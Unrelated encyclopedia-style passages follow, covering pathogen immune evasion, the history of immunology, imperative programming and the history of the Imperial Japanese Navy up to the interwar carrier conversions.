          An evasion strategy used by several pathogens to circumvent the innate immune system is intracellular replication (also called intracellular pathogenesis). Here, a pathogen spends a majority of its life-cycle inside host cells, where it is shielded from direct contact with immune cells, antibodies and complement. Some examples of intracellular pathogens include viruses, the food poisoning bacterium Salmonella and the eukaryotic parasites that cause malaria ( Plasmodium falciparum) and leishmaniasis ( Leishmania spp.). Other bacteria, such as Mycobacterium tuberculosis, live inside a protective capsule that prevents lysis by complement. Many pathogens secrete compounds that diminish or misdirect the host's immune response. Some bacteria form biofilms to protect themselves from the cells and proteins of the immune system. Such biofilms are present in many successful infections, e.g., the chronic Pseudomonas aeruginosa and Burkholderia cenocepacia infections characteristic of cystic fibrosis. Other bacteria generate surface proteins that bind to antibodies, rendering them ineffective; examples include Streptococcus (protein G), Staphylococcus aureus (protein A), and Peptostreptococcus magnus (protein L).


          The mechanisms used by viruses to evade the adaptive immune system are more complicated. The simplest approach is to rapidly change non-essential epitopes ( amino acids and/or sugars) on the invader's surface, while keeping essential epitopes concealed. HIV, for example, regularly mutates the proteins on its viral envelope that are essential for entry into its host target cell. These frequent changes in antigens may explain the failures of vaccines directed at these proteins. Masking antigens with host molecules is another common strategy for avoiding detection by the immune system. In HIV, the envelope that covers the viron is formed from the outermost membrane of the host cell; such "self-cloaked" viruses make it difficult for the immune system to identify them as "non-self".


          


          History of immunology
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          Immunology is a science that examines the structure and function of the immune system. It originates from medicine and early studies on the causes of immunity to disease. The earliest known mention of immunity was during the plague of Athens in 430 BC. Thucydides noted that people who had recovered from a previous bout of the disease could nurse the sick without contracting the illness a second time. This observation of acquired immunity was later exploited by Louis Pasteur in his development of vaccination and his proposed germ theory of disease. Pasteur's theory was in direct opposition to contemporary theories of disease, such as the miasma theory. It was not until Robert Koch's 1891 proofs, for which he was awarded a Nobel Prize in 1905, that microorganisms were confirmed as the cause of infectious disease. Viruses were confirmed as human pathogens in 1901, with the discovery of the yellow fever virus by Walter Reed.


          Immunology made a great advance towards the end of the 19th century, through rapid developments, in the study of humoral immunity and cellular immunity. Particularly important was the work of Paul Ehrlich, who proposed the side-chain theory to explain the specificity of the antigen-antibody reaction; his contributions to the understanding of humoral immunity were recognized by the award of a Nobel Prize in 1908, which was jointly awarded to the founder of cellular immunology, Elie Metchnikoff.
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          In computer science, imperative programming, as contrasted with declarative programming, is a programming paradigm that describes computation as statements that change a program state. In much the same way as the imperative mood in natural languages expresses commands to take action, imperative programs are a sequence of commands for the computer to perform. Procedural programming is a common method of executing imperative programming, and the terms are often used as synonyms.


          Imperative programming languages stand in contrast to other types of languages, such as functional and logical programming languages, which both often support declarative programming features. Functional programming languages, such as Haskell, are not a sequence of statements and have no global state as imperative languages do. Logical programming languages, like Prolog, are often thought of as defining "what" is to be computed, rather than "how" the computation is to take place.


          


          Overview


          The hardware implementation of almost all computers is imperative; nearly all computer hardware is designed to execute machine code, which is native to the computer, written in the imperative style. From this low-level perspective, the program state is defined by the contents of memory, and the statements are instructions in the native machine language of the computer. Higher-level imperative languages use variables and more complex statements, but still follow the same paradigm. Recipes and process checklists, while not computer programs, are also familiar concepts that are similar in style to imperative programming; each step is an instruction, and the physical world holds the state. Since the basic ideas of imperative programming are both conceptually familiar and directly embodied in the hardware, most computer languages are in the imperative style.


          Assignment statements, in general, perform an operation on information located in memory and store the results in memory for later use. High-level imperative languages, in addition, permit the evaluation of complex expressions, which may consist of a combination of arithmetic operations and function evaluations, and the assignment of the resulting value to memory. Looping statements (such as in while loops, do while loops and for loops) allow a sequence of statements to be executed multiple times. Loops can either execute the statements they contain a predefined number of times, or they can execute them repeatedly until some condition changes. Conditional branching statements allow a block of statements to be executed only if some condition is met. Otherwise, the statements are skipped and the execution sequence continues from the statement following the block. Unconditional branching statements allow the execution sequence to be transferred to some other part of the program. These include the jump, called " goto" in many languages, and the subprogram, or procedure, call.


          


          History


          The earliest imperative languages were the machine languages of the original computers. In these languages, instructions were very simple, which made hardware implementation easier, but hindered the creation of complex programs. FORTRAN, developed by John Backus at IBM starting in 1954, was the first major programming language to remove the obstacles presented by machine code in the creation of complex programs. FORTRAN was a compiled language that allowed named variables, complex expressions, subprograms, and many other features now common in imperative languages. The next two decades saw the development of a number of other major high-level imperative programming languages. In the late 1950s and 1960s, ALGOL was developed in order to allow mathematical algorithms to be more easily expressed, and even served as the operating system's target language for some computers. COBOL (1960) and BASIC (1964) were both attempts to make programming syntax look more like English. In the 1970s, Pascal was developed by Niklaus Wirth, and C was created by Dennis Ritchie while he was working at Bell Laboratories. Wirth went on to design Modula-2, and Oberon. For the needs of the United States Department of Defense, Jean Ichbiah and a team at Honeywell began designing Ada in 1978, after a 4-year project to define the requirements for the language. The specification was first published in 1983, with revisions in 1995 and 2005/6.


          The 1980s saw a rapid growth in interest in object-oriented programming. These languages were imperative in style, but added features to support objects. The last two decades of the 20th century saw the development of a considerable number of such programming languages. Smalltalk-80, originally conceived by Alan Kay in 1969, was released in 1980 by the Xerox Palo Alto Research Centre. Drawing from concepts in another object-oriented language  Simula (which is considered to be the world's first object-oriented programming language, developed in the late 1960s)  Bjarne Stroustrup designed C++, an object-oriented language based on C. C++ was first implemented in 1985. In the late 1980s and 1990s, the notable imperative languages drawing on object-oriented concepts were Perl, released by Larry Wall in 1987; Python, released by Guido van Rossum in 1990; PHP, released by Rasmus Lerdorf in 1994; and Java, first released by Sun Microsystems in 1994.


          Category:Procedural programming languages lists additional imperative programming languages.
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              The ensign of the Imperial Japanese Navy and Japan Maritime Self-Defense Force.
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          The Imperial Japanese Navy (IJN) ( Kyūjitai: 大日本帝國海軍 Shinjitai: 大日本帝国海軍 Dai-Nippon Teikoku Kaigun or 日本海軍 Nippon Kaigun), officially Navy of the Greater Japanese Empire, also known as the Japanese Navy was the navy of the Empire of Japan from 1869 until 1947, when it was dissolved following Japan's constitutional renunciation of the use of force as a means of settling international disputes. It was the third largest navy in the world by 1920 behind the United States Navy and Royal Navy,. It was supported by the Imperial Japanese Navy Air Service for aircraft and airstrike operation from the fleet. It was a major force in the Pacific War.


          The origins of the Imperial Japanese Navy trace back to early interactions with nations on the Asian continent, beginning in the early medieval period and reaching a peak of activity during the 16th and 17th centuries at a time of cultural exchange with European powers during the Age of Discovery. After two centuries of stagnation during the country's ensuing seclusion policy under the shoguns of the Edo period, Japan's navy was comparatively backward when the country was forced open to trade by American intervention in 1854. This eventually led to the Meiji Restoration. Accompanying the re-ascendance of the Emperor came a period of frantic modernization and industrialization. The navy's history of successes, sometimes against much more powerful foes as in the 1895 Sino-Japanese war and the 1905 Russo-Japanese War, ended in almost complete annihilation during the concluding days of World War II. The IJN was officially dissolved in 1947.


          


          Origins
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          Japan has a long history of naval interaction with the Asian continent, involving transportation of troops between Korea and Japan, starting at least with the beginning of the Kofun period in the 3rd century.


          Following the attempts at Mongol invasions of Japan by Kubilai Khan in 1274 and 1281, Japanese wakō became very active in plundering the coast of the Chinese Empire.
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          Japan undertook major naval building efforts in the 16th century, during the Warring States period, when feudal rulers vying for supremacy built vast coastal navies of several hundred ships. Around that time, Japan may have developed one of the first ironclad warships, when Oda Nobunaga, a Japanese daimyo, had six iron-covered Oatakebune made in 1576. In 1588, Toyotomi Hideyoshi issued a ban on Wakō piracy; the pirates then became vassals of Hideyoshi, and comprised the naval force used in the Japanese invasion of Korea.


          Japan built her first large ocean-going warships in the beginning of the 17th century, following contacts with the Western nations during the Nanban trade period. In 1613, the Daimyo of Sendai, in agreement with the Tokugawa Bakufu, built Date Maru, a 500 ton galleon-type ship that transported the Japanese embassy of Hasekura Tsunenaga to the Americas, which then continued to Europe. From 1604, about 350 Red seal ships, usually armed and incorporating some Western technologies, were also commissioned by the Bakufu, mainly for Southeast Asian trade.


          


          Seclusion and Western studies
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          Beginning in 1640, for more than 200 years Japan chose " sakoku" (seclusion), which forbade contacts with the West, eradicated Christianity, and prohibited the construction of ocean-going ships on pain of death. Contacts were maintained through the Dutch enclave of Dejima however, allowing for the transfer of a vast amount of knowledge related to the Western technological and scientific revolution. This study of Western sciences, called " rangaku", also allowed Japan to remain updated in areas relevant to naval sciences, such as cartography, optics or mechanical sciences. The full study of Western shipbuilding techniques resumed in the 1840s during the Late Tokugawa shogunate (Bakumatsu).


          


          Early modernization of the Shogunal Navy


          In 1853 and 1854, U.S. Navy Commodore Matthew Perry made a demonstration of force with the newest steam warships of the U.S. Navy. Perry finally obtained the opening of the country to international trade through the 1854 Convention of Kanagawa. This was soon followed by the 1858 " unequal" U.S.-Japan Treaty of Amity and Commerce, which allowed the establishment of foreign concessions, extra-territoriality for foreigners, and minimal import taxes for foreign goods.
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          As soon as Japan agreed to open up to foreign influence, the Tokugawa shogun government initiated an active policy of assimilation of Western naval technologies. In 1855, with Dutch assistance, the Shogunate acquired its first steam warship, Kankō Maru, which was used for training, and established the Nagasaki Naval Training Centre. In 1857, it acquired its first screw-driven steam warship, the Kanrin Maru. In 1859, the Naval Training Centre was transferred to Tsukiji in Tokyo. Naval students were sent to study in Western naval schools for several years, such as the future Admiral Takeaki Enomoto (who studied in the Netherlands from 18621867), starting a tradition of foreign-educated future leaders such as Admirals Heihachiro Togo and, later, Isoroku Yamamoto.
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          As early as 1863, less than 10 years after opening the country to foreign interaction, Japan completed her first domestically-built steam warship, Chiyodagata. In 1865, the French naval engineer Lonce Verny was hired to build Japan's first modern naval arsenals, at Yokosuka and Nagasaki. In 18671868, a British Naval mission headed by Captain Tracey was sent to Japan to assist the development of the Navy and organize the naval school of Tsukiji.
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          By the end of the Tokugawa shogunate in 1867, the Tokugawa navy was already the largest of Eastern Asia, organized around eight Western-style steam warships and the flagship Kaiyō Maru, which were used against pro-imperial forces during the Boshin War, under the command of Admiral Enomoto. The conflict culminated with the Naval Battle of Hakodate in 1869, Japan's first large-scale modern naval battle, and ended with the defeat of the last Tokugawa forces and the restoration of Imperial rule. The revolutionary French-built ironclad Kotetsu, originally ordered by the Tokugawa shogunate, was received by the Imperial side and was used decisively towards the end of the conflict.



          


          Creation of the Imperial Japanese Navy (1869)
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          From 1868, the restored Meiji Emperor continued with reforms to industrialize and militarize Japan to prevent the United States and European powers from overwhelming her. On 17 January 1868, the Ministry of Military Affairs (兵部省, also known as the Army-Navy Ministry) was established, with Iwakura Tomomi, Shimazu Tadayoshi and Prince Komatsu-no-miya Akihito as the First Secretaries.
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          On 26 March 1868, the first Naval Review was held in Japan (in Osaka Bay), with 6 ships from the private domainal navies of Saga, Chōshū, Satsuma, Kurume, Kumamoto and Hiroshima participating. The total tonnage of these ships was 2252 tons, which was far smaller than the tonnage of the single foreign vessel (from the French Navy) that also participated. The following year, in July 1869, the Imperial Japanese Navy was formally established, two months after the last combat of the Boshin War.


          In July 1869, the private domanial navies were abolished, and their 11 ships were added to the 7 surviving vessels of the defunct Tokugawa bakufu navy to form the core of the new Imperial Japanese Navy. In February 1872, the Ministry of Military Affairs was replaced by a separate Army Ministry (陸軍省) and Navy Ministry (海軍省). In October 1873, Katsu Kaishu became Navy Minister. The new government drafted an ambitious plan to create a Navy with 200 ships organized into 10 fleets. It was abandoned within a year due to lack of resources.


          


          British support
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          During the 1870s and 1880s, the Imperial Japanese Navy remained an essentially coastal defense force, although the Meiji government continued to modernize it. Jho Sho Maru (soon renamed Ryūjō Maru) commissioned by Thomas Glover was launched at Aberdeen, Scotland on March 27, 1869. In 1870, an Imperial decree determined that Britain's Royal Navy should be the model for development, instead of the Netherlands.


          From September 1870, the English Lieutenant Horse, a former gunnery instructor for the Saga fief during the Bakumatsu period, was put in charge of gunnery practice onboard the Ryūjō. In 1871, the Ministry resolved to send 16 trainees abroad for training in naval sciences (14 to Great Britain, 2 to the United States), among which was Togo Heihachiro. A 34-member British naval mission visited Japan in 1873 for two years, headed by Comdr. Archibald Douglas. Later, Comdr. L.P. Willan was hired in 1879 to train naval cadets.


          


          First interventions abroad (Taiwan 1874, Korea 187576)
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            [image: The Imperial Japanese Navy, in Pusan, on its way to Ganghwa Island (江華島), Korea, January 16th, 1876. There were 2 warships (Nisshin, Moshun), 3 troop transports, and one liner for the embassy led by Kuroda Kiyotaka.]

            
              The Imperial Japanese Navy, in Pusan, on its way to Ganghwa Island (江華島), Korea, January 16th, 1876. There were 2 warships (Nisshin, Moshun), 3 troop transports, and one liner for the embassy led by Kuroda Kiyotaka.
            

          


          During 1873, a plan to invade the Korean peninsula (the Seikanron proposal made by Saigo Takamori) was narrowly abandoned by decision of the central government in Tokyo. In 1874, the Taiwan expedition was the first foray abroad of the new Imperial Japanese Navy and the Imperial Japanese Army.


          Various interventions in the Korean peninsula continued in 18751876, starting with the Ganghwa Island incident (江華島事件) provoked by the Japanese gunboat Unyo, leading to the dispatch of a large force of the Imperial Japanese Navy. As a result, the Treaty of Ganghwa was signed, marking the official opening of Korea to foreign trade, and Japan's first example of Western-style interventionism and adoption of "unequal treaties" tactics.


          Soon, however domestic rebellions, the Saga Rebellion (1874) and especially the Satsuma Rebellion (1877), forced the government to focus on land warfare. Naval policy, expressed by the slogan Shusei Kokubō (Jp:守勢国防, lit. "Static Defense"), focused on coastal defenses and a standing army (established with the assistance of the second French Military Mission to Japan), and a coastal Navy, leading to a military organization under the Rikushu Kaijū (Jp:陸主海従, Army first, Navy second) principle.


          In 1878, the Japanese cruiser Seiki sailed to Europe with an entirely Japanese crew.


          


          Further modernization (1870s)


          Ships such as the Fusō, Kongō (1877) and the Hiei (1877) were built in British shipyards specifically for the Imperial Japanese Navy. Private construction companies such as Ishikawajima and Kawasaki also emerged around this time.
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          In 1883 two large warships were ordered from British shipyards. Naniwa and the Takachiho were 3,650-ton ships. They were capable of speeds up to 18knots (33km/h) and were armed with 2 to 3-inch deck armor and two 10.2-in (260mm) Krupp guns. The naval architect Sasō Sachū designed these on the line of the Elswick class of protected cruisers but with superior specifications. An arms race was taking place with China however, who equipped herself with two German-built battleships of 7,335 tons ( Ting Yan and Chen-Yan). Unable to confront the Chinese fleet with only two modern cruisers, Japan resorted to French assistance to build a large, modern fleet which could prevail in the upcoming conflict.


          


          Influence of the French "Jeune Ecole" (1880s)
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          During the 1880s, France took the lead in influence, due to its " Jeune Ecole" ("young school") doctrine, favoring small, fast warships, especially cruisers and torpedo boats, against bigger units. The choice of France may also have been influenced by the Minister of the Japanese Navy (海軍卿), who happened to be Enomoto Takeaki at that time (Navy Minister 18801885), a former ally of the French during the Boshin War.


          The Meiji government issued its First Naval Expansion bill in 1882, requiring the construction of 48 warships, of which 22 were to be torpedo boats. The naval successes of the French Navy against China in the Sino-French War of 188385 seemed to validate the potential of torpedo boats, an approach which was also attractive to the limited resources of Japan. In 1885, the new Navy slogan became Kaikoku Nippon (Jp:海国日本, lit. "Maritime Japan").


          In 1885, the leading French Navy engineer Emile Bertin was hired for four years to reinforce the Japanese Navy and to direct the construction of the arsenals of Kure and Sasebo. He developed the Sanseikan class of cruisers; 3 units featuring a single powerful main gun, the 12.6in (320 mm) Canet gun. Altogether, Bertin supervised the building of more than twenty units. They helped establish the first true modern naval force of Japan. It allowed Japan to achieve mastery in the building of large units, since some of the ships were imported, and some others were built domestically at the arsenal of Yokosuka:
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            	3 cruisers: the 4,700 ton Matsushima and Itsukushima, built in France, and the Hashidate, built at Yokosuka.


            	3 coastal warships of 4,278 tons.


            	2 small cruisers: the Chiyoda, a small cruiser of 2,439 tons built in Britain, and the Yaeyama, 1800 tons, built at Yokosuka.


            	1 frigate, the 1600 ton Takao, built at Yokosuka.


            	1 destroyer: the 726 ton Chishima, built in France.


            	16 torpedo boats of 54 tons each, built in France by the Companie du Creusot in 1888, and assembled in Japan.

          


          This period also allowed Japan "to embrace the revolutionary new technologies embodied in torpedoes, torpedo-boats and mines, of which the French at the time were probably the world's best exponents". Japan acquired its first torpedoes in 1884, and established a "Torpedo Training Centre" at Yokosuka in 1886.


          These ships, ordered during the fiscal years 1885 and 1886, were the last major orders placed with France. The unexplained sinking of Unebi en route from France to Japan in December 1886, created diplomatic frictions and doubts about the French designs.


          


          British shipbuilding
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          Japan turned again to Britain, with the order of a revolutionary torpedo boat, Kotaka (considered the first ever effective design of a destroyer), in 1887 and with the purchase of Yoshino, built at the Armstrong works in Elswick, Newcastle upon Tyne, the fastest cruiser in the world at the time of her launch in 1892. In 1889, she ordered the Clyde-built Chiyoda, which defined the type for armored cruisers.


          After 1882 (until 1918, with the visit of the French Military Mission to Japan), the Imperial Japanese Navy stopped relying on foreign instructors altogether. In 1886, she manufactured her own prismatic powder, and in 1892 one of her officers invented a powerful explosive, the Shimose powder.


          


          Sino-Japanese War (18941895)
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          Japan continued the modernization of its navy, especially as China was also building a powerful modern fleet with foreign, especially German, assistance, and the pressure was building between the two countries to take control of Korea. The Sino-Japanese war was officially declared on August 1, 1894, though some naval fighting had already taken place.
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          The Japanese navy devastated Qing's Beiyang Fleet off the mouth of the Yalu River at the Battle of Yalu River on September 17, 1894, in which the Chinese fleet lost 8 out of 12 warships. Although Japan turned out victorious, the two large German-made battleships of the Chinese Navy remained almost impervious to Japanese guns, highlighting the need for bigger capital ships in the Japanese Navy ( Ting Yuan was finally sunk by torpedoes, and Chen-Yuan was captured with little damage). The next step of the Imperial Japanese Navy's expansion would thus involve a combination of heavily armed large warships, with smaller and innovative offensive units permitting aggressive tactics.


          As a result of the conflict, under the Treaty of Shimonoseki (April 17th, 1895), Taiwan and the Pescadores Islands were transferred to Japan. The Imperial Japanese Navy took possession of the island and quelled opposition movements between March to October 1895, and the islands continued to be a Japanese colony until 1945. Japan also obtained the Liaodong Peninsula, although she was forced by Russia to return it to China, only to see Russia take possession of it soon after.


          


          Suppression of the Boxer rebellion (1900)
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          The Imperial Japanese Navy further intervened in China in 1900, by participating together with Western Powers to the suppression of the Chinese Boxer Rebellion. The Navy supplied the largest number of warships (18 out of a total of 50) and delivered the largest contingent of troops among the intervening nations (20,840 Imperial Japanese Army and Navy soldiers, out of total of 54,000).


          The conflict allowed Japan to combat together with Western nations, and to acquire first hand understanding of their fighting methods.


          


          Russo-Japanese War (19041905)
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          Following the Sino-Japanese War, and the humiliation of the forced return of the Liaotung peninsula to China under Russian pressure (the " Triple Intervention"), Japan began to build up its military strength in preparation for further confrontations. Japan promulgated a ten-year naval build-up program, under the slogan "Perseverance and determination" (Jp:臥薪嘗胆, Gashinshōtan), in which it commissioned 109 warships, for a total of 200,000 tons, and increased its Navy personnel from 15,100 to 40,800. The new fleet consisted of:


          
            	6 battleships (all British-built)


            	8 armored cruisers (4 British-, 2 Italian-, 1 German-built Yakumo, and 1 French-built Azuma)


            	9 cruisers (5 Japanese, 2 British and 2 U.S.-built)


            	24 destroyers (16 British- and 8 Japanese-built)


            	63 torpedo boats (26 German-, 10 British-, 17 French-, and 10 Japanese-built)
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          One of these battleships, Mikasa, the most advanced ship of her time, was ordered from the Vickers shipyard in the United Kingdom at the end of 1898, for delivery to Japan in 1902. Commercial shipbuilding in Japan was exhibited by construction of the twin screw steamer Aki-Maru, built for Nippon Yusen Kaisha by the Mitsubishi Dockyard & Engine Works, Nagasaki. The Imperial Japanese cruiser Chitose was built at the Union Iron Works in San Francisco, California.


          These dispositions culminated with the Russo-Japanese War (19041905). At the Battle of Tsushima, Admiral Togo aboard Mikasa led the combined Japanese fleet into the decisive engagement of the war. The Russian fleet was almost completely annihilated: out of 38 Russian ships, 21 were sunk, 7 captured, 6 disarmed, 4,545 Russian servicemen died and 6,106 were taken prisoner. On the other hand, the Japanese only lost 116 men and 3 torpedo boats. These victories broke Russian strength in East Asia, and triggered waves of mutinies in the Russian Navy at Sevastopol, Vladivostok and Kronstadt, peaking in June with the Potemkin rising, thereby contributing to the Russian Revolution of 1905.
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          During the Russo-Japanese war, Japan also made frantic efforts to develop and construct a fleet of submarines. Submarines had only recently become operational military engines, and were considered to be special weapons of considerable potential. The Imperial Japanese Navy acquired its first submarines in 1905 from the United States Electric Boat Company, barely four years after the U.S. Navy had commissioned its own first submarine, USS Holland. The ships were Holland designs and were developed under the supervision of Arthur L. Busch, a representitive of Electric Boat, and the man who built the USS Holland. These (five) submarines were shipped in kit form to Japan (October 1904) and then assembled (by Busch) at the Yokosuka Naval Yard, to become hulls No1 through 5, and became operational at the end of 1905.



          


          Towards an autonomous national Navy
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          Japan continued in its efforts to build up a strong national naval industry. Following a strategy of "Copy, improve, innovate", foreign ships of various designs were usually analysed in depth, their specifications often improved on, and then were purchased in pairs so as to organize comparative testing and improvements. Over the years, the importation of whole classes of ships was progressively substituted by local assembly, and then complete local production, starting with the smallest ships, such as torpedo boats and cruisers in the 1880s, to finish with whole battleships in the early 1900s. The last major purchase was in 1913 when the battlecruiser Kongō was purchased from the Vickers shipyard. By 1918, there was no aspect of shipbuilding technology where Japanese capabilities fell significantly below world standards.


          The period immediately after Tsushima also saw the IJN, under the influence of the navalist theoretician Satō Tetsutarō, adopt an explicit policy of building for a potential future conflict against the United States Navy. Satō called for a battlefleet at least 70% as strong as that of the USA. In 1907, the official policy of the Navy became an ' eight-eight fleet' of eight modern battleships and eight battlecruisers. However, financial constraints prevented this ideal ever becoming a reality.


          By 1920, the Imperial Japanese Navy was the world's third largest navy, and was a leader in many aspects of naval development:


          
            	The Japanese Navy was the first navy in the world to use wireless telegraphy in combat (following its 1897 invention by Marconi), at the 1905 Battle of Tsushima.


            	In 1905, it began building the battleship Satsuma, at the time the largest warship in the world by displacement, and the first ship in the world to be designed, ordered and laid down as an "all-big-gun" battleship, about one year before HMS Dreadnought. She was however finished afterwards and with mixed calibre guns due to a lack of 12 inch guns.


            	Between 1905 and 1910, Japan started to build battleships domestically. The 1906 battleship Satsuma was built in Japan with about 80% parts from Britain, but the next battleship class, the 1910 Kawachi was built with only 20% imported parts.

          


          


          World War I


          Japan entered World War I on the side of the Allies, against Imperial Germany and Austria-Hungary, as a natural prolongation of the 1902 Anglo-Japanese Alliance.
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          In the Battle of Tsingtao, the Japanese Navy seized the German naval base of Tsingtao. During the battle, beginning on September 5, 1914, Wakamiya conducted the world's first sea-launched air strikes. from Kiaochow Bay. Four Maurice Farman seaplanes bombarded German land targets (communication centers and command centers) and damaged a German minelayer in the Tsingtao peninsula from September to November 6, 1914 when the Germans surrendered.


          Concurrently, a battle group was sent to the central Pacific in August and September to pursue the German East Asiatic squadron, which then moved into the Southern Atlantic, where it encountered British naval forces and was destroyed at the Battle of the Falkland Islands. Japan seized former German possessions in Micronesia (the Mariana Islands, excluding Guam); the Caroline Islands; and the Marshall Islands), which remained Japanese colonies until the end of World War II, under the League of Nations' South Pacific Mandate.


          Hard pressed in Europe, where she had only a narrow margin of superiority against Germany, Britain had requested, but was denied, the loan of Japan's four newest Kongō-class battleships ( Kongō, Hiei, Haruna, and Kirishima), the first ships in the world to be equipped with 14-inch (356mm) guns, and the most formidable capital ships in the world at the time. The British 15-inch-gunned battleships would come into use during the war.
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          Following a further request to contribute to the conflict, and the advent of unrestricted submarine warfare by Germany, the Imperial Navy in March 1917 sent a special force of destroyers to the Mediterranean. This force, consisting of one armoured cruiser, Akashi, as flotilla leader, and eight of the Navy's newest destroyers ( Ume, Kusunoki, Kaede, Katsura, Kashiwa, Matsu, Matsu, Sugi, and Sakaki), under Admiral Satō Kōzō, was based in Malta and efficiently protected allied shipping between Marseille, Taranto, and ports in Egypt until the end of the War. In June, Akashi was replaced by Izumo, and four more destroyers were added (Kashi, Hinoki, Momo, and Yanagi). They were later joined by the cruiser Nisshin. By the end of the war, the Japanese had escorted 788 allied transports. One destroyer, Sakaki, was torpedoed by an Austrian submarine with the loss of 59 officers and men.


          In 1918, ships such as Azuma were assigned to convoy escort in the Indian Ocean between Singapore and the Suez Canal as part of Japans contribution to the war effort under the Anglo-Japanese alliance.


          After the conflict, the Japanese Navy received seven German submarines as spoils of war, which were brought to Japan and analysed, contributing greatly to the development of the Japanese submarine industry.


          


          Interwar years


          In the years before World War II the IJN began to structure itself specifically to fight the United States. A long stretch of militaristic expansion and the start of the Second Sino-Japanese war in 1937 had alienated the United States, which was seen as a rival of Japan.
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          The Imperial Japanese Navy was faced, before and during World War II, with considerable challenges, probably more so than any other navy in the world. Japan, like Britain, was almost entirely dependent on foreign resources to supply its economy. To achieve Japans expansionist policies, IJN had to secure and protect distant sources of raw material (especially Southeast Asian oil and raw materials), controlled by foreign countries (Britain, France, and the Netherlands). To achieve this goal, she had to build large warships capable of long range.


          This was in conflict with Japan's doctrine of "decisive battle" (艦隊決戦, Kantai Kessen, which did not require long range), in which IJN would allow the U.S. to sail across the Pacific, using submarines to weaken it, then engage the U.S. Navy in a "decisive battle area", near Japan, after inflicting such attrition. This is in keeping with the theory of Alfred T. Mahan, to which every major navy subscribed before World War II, in which wars would be decided by engagements between opposing surface fleets (as they had been for over 300 years). It was the basis for Japan's demand for a 70% ratio (10:10:7) at the Washington Naval Conference, which would give Japan superiority in the "decisive battle area", and the U.S.'s insistence on a 60% ratio, which meant parity. Japan, unlike other navies, clung to it even after it had been demonstrated to be obsolete.


          It was also in conflict with her past experience. Japan's numerical and industrial inferiority led her to seek technical superiority (fewer, but faster, more powerful ships), qualitative superiority (better training), and aggressive tactics (daring and speedy attacks overwhelming the enemy, a recipe for success in her previous conflicts). She failed to take account of the fact her opponents in the Pacific War did not face the political and geographical constraints of her previous wars, nor did she allow for losses in ships and crews.


          During the interwar, Japan took the lead in many areas of warship development:


          
            	In 1921 it launched the Hōshō, the first purpose-designed aircraft carrier in the world to be completed, and subsequently developed a fleet of aircraft carriers second to none.


            	In keeping with its doctrine, the Imperial Navy was the first navy in the World to mount 14-in (356mm) guns (in Kongō), 16-in (406mm) guns (in Nagato), and the only Navy ever to mount 18.1-in (460mm) guns (in the Yamato-class ships).


            	In 1928, she launched the innovative Fubuki-class destroyer, introducing enclosed dual 5-inch turrets capable of anti-aircraft fire. The new destroyer design was soon emulated by other navies. The Fubukis also featured the first torpedo tubes enclosed in splinterproof turrets.


            	Japan developed the 24-inch (610mm) oxygen fuelled Type 93 torpedo, generally recognized as the best torpedo in the world, to the end of World War II.
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          By 1921, Japan's naval expenditure reached nearly 32% of the national budget. By 1941, the Imperial Japanese Navy possessed 10 battleships, 10 aircraft carriers, 38 cruisers (heavy and light), 112 destroyers, 65 submarines, and various auxiliary ships.


          Japan at times continued to solicit foreign expertise in areas in which the IJN was inexperienced in, such as naval aviation. In 1918 Japan invited the French Military Mission to Japan (1918-1919), composed of 50 members and equipped with several of the newest types of airplanes to establish the fundamentals of Japanese naval aviation (the planes were several Salmson 2A2, Nieuport, Spad XIII, two Breguet XIV, as well as Caquot dirigibles). In 1921, Japan hosted for a year and a half the Sempill Mission, a group of British instructors who were able to train and advise the Imperial Japanese Navy on several new aircraft such as the Gloster Sparrowhawk, and on various techniques such as torpedo bombing and flight control.
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          During the pre-war years, two schools of thought battled over whether the Navy should be organized around powerful battleships, ultimately able to defeat American ones in Japanese waters, or around aircraft carriers. Neither really prevailed, and both lines of ships were developed, with the result neither solution displayed overwhelming strength over the American adversary. A consistent weakness of Japanese warship development was the tendency to incorporate too much armament, and too much engine power, in comparison to ship size (a side-effect of the Washington Treaty), leading to shortcomings in stability, protection and structural strength. This was a failing of Japanese naval architects, reflecting her industrial and engineering weakness.


          


          World War II
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          The Imperial Japanese Navy of World War II was administered by the Ministry of the Navy of Japan and controlled by the Chief of the Imperial Japanese Navy General Staff at Imperial General Headquarters. In order to combat the numerically superior American navy, the IJN devoted large amounts of resources to creating a force superior in quality to any navy at the time. Consequently, at the beginning of World War II, Japan probably had the most sophisticated Navy in the world. Betting on the speedy success of aggressive tactics (stemming from Mahanian doctrine and the lure of "decisive battle"), Japan did not invest significantly on defensive organization: she needed to protect her long shipping lines against enemy submarines, which she never managed to do, particularly under-investing in the vital role of antisubmarine warfare (both escort ships and escort aircraft carriers), and in the specialized training and organization to support it.


          IJN enjoyed spectacular success during the first part of the hostilities, but American forces ultimately managed to gain the upper hand through technological upgrades to its air and naval forces and a vastly stronger industrial output. Japan's reluctance to use their submarine fleet for commerce raiding and failure to secure their communications also hastened her defeat. During the last phase of the war, the Imperial Japanese Navy resorted to a series of desperate measures, including a variety of Special Attack Units (popularly called kamikaze).


          


          Battleships
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          Japan continued to attribute considerable prestige to battleships and endeavoured to build the largest and most powerful ships of the period. Yamato, the largest and most heavily-armed battleship in history, was launched in 1941.


          The second half of World War II saw the last battleship duels. In the Battle of Guadalcanal on November 15, 1942, the United States battleships South Dakota and Washington fought and destroyed the Japanese battleship Kirishima. In the Battle of Leyte Gulf on 25 October 1944 six battleships, led by Admiral Jesse Oldendorf of the U.S. 7th Fleet fired upon and claimed credit for sinking Admiral Shoji Nishimura's battleships Yamashiro and Fusō during the Battle of Surigao Strait; in fact, both battleships were fatally crippled by destroyer attacks before being brought under fire by Oldendorf's old battleships.


          Nevertheless, the Battle off Samar on 25 October 1944 during the Battle of Leyte Gulf showed battleships could still be useful. Only the indecision of Admiral Takeo Kurita and the fight by American destroyers and destroyer escorts saved the American aircraft carriers of " Taffy 3" from destruction by the gunfire of Yamato, Kongō, Haruna, and Nagato and their cruiser escort. Miraculously for the Americans, only USS Gambier Bay, along with two destroyers and one destroyer escort, were lost in this action.


          Ultimately, the maturity of air power spelled doom for the battleship. Battleships in the Pacific ended up primarily performing shore bombardment and anti-aircraft defense for the carriers. Yamato and Musashi were sunk by air attacks long before coming in gun range of the American fleet. As a result of the changing technology, plans for even larger battleships, such as the Japanese Super Yamato class, were cancelled.


          


          Aircraft carriers


          In the 1920s, the Kaga (originally laid down as a battleship) and a similar ship, the Akagi (originally laid down as a battlecruiser) were converted to aircraft carriers to satisfy the terms of the Washington Naval Treaty.


